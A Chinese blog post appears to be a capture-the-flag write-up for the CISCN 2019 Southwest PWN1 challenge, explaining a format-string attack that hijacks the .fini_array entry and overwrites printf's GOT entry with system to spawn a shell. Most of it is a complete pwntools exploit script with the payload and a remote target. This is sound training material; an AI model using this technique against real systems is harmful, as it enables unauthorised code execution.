[CISCN 2019西南]PWN1

最后更新于 2024-07-21 444 字 预计阅读时间: 2 分钟


单次格式字符串+finit数组利用

elf程序执行流如下图,当执行elf和退出elf时会分别检查initarray和finitarray数组里是否有函数,有则执行,本题我们可以通过格式字符串劫持finitarray实现多次执行函数和格式字符串

修改finitarray指向main函数,printf的got表指向system函数

finit=0x0804979C
sys=0x080483D0
main=0x08048534
main_low=main&0x0000ffff
sys_low=sys&0x0000ffff
sys_high=(sys>>16)&0xffff
printf_got=elf.got['printf']

格式字符串的%n是将输出的数字写入指定内存,我们先应该写入较小的数方便构造payload

payload=
p32(printf_got+2)+p32(printf_got)+p32(finit)+
b"%"+str(sys_high-0xc).encode()+b"c%4$hn"+
b"%"+str(sys_low-sys_high).encode()+
b"c%5$hn"+b"%"+str(main_low-sys_low).encode()+b"c%6$hn"

finitarray高位与main相同可以不写,sys_high-0xc是因为我们输入的三个地址有0xc个字符,main_low-sys_low是因为前面sys_high-0xc+sys_low-sys_high=sys_low。

修改前

修改后

输入sh得到shell

完整exp

from pwn import *
from pwn import p64,p32,u64,u32,p8
from pwncli import *
from LibcSearcher import  *
file_name='./CISCN 2019 PWN1'
debug =0
if debug:
    p = remote("node5.anna.nssctf.cn",22330)
else:
    p = process(file_name)
context(os="linux",log_level="debug")
elf=ELF(file_name)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")
context.arch=elf.arch
finit=0x0804979C
sys=0x080483D0
main=0x08048534
main_low=main&0x0000ffff
sys_low=sys&0x0000ffff
sys_high=(sys>>16)&0xffff
printf_got=elf.got['printf']
#gdb.attach(p,"b *0x080485A8")
payload=p32(printf_got+2)+p32(printf_got)+p32(finit)+b"%"+str(sys_high-0xc).encode()+b"c%4$hn"+b"%"+str(sys_low-sys_high).encode()+b"c%5$hn"+b"%"+str(main_low-sys_low).encode()+b"c%6$hn"
p.recvuntil(b"Welcome to my ctf! What's your name?")
p.sendline(payload)
p.recvuntil(b"Welcome to my ctf! What's your name?")
p.sendline(b"sh;\x00")
p.interactive()
此作者没有提供个人介绍。
最后更新于 2024-07-21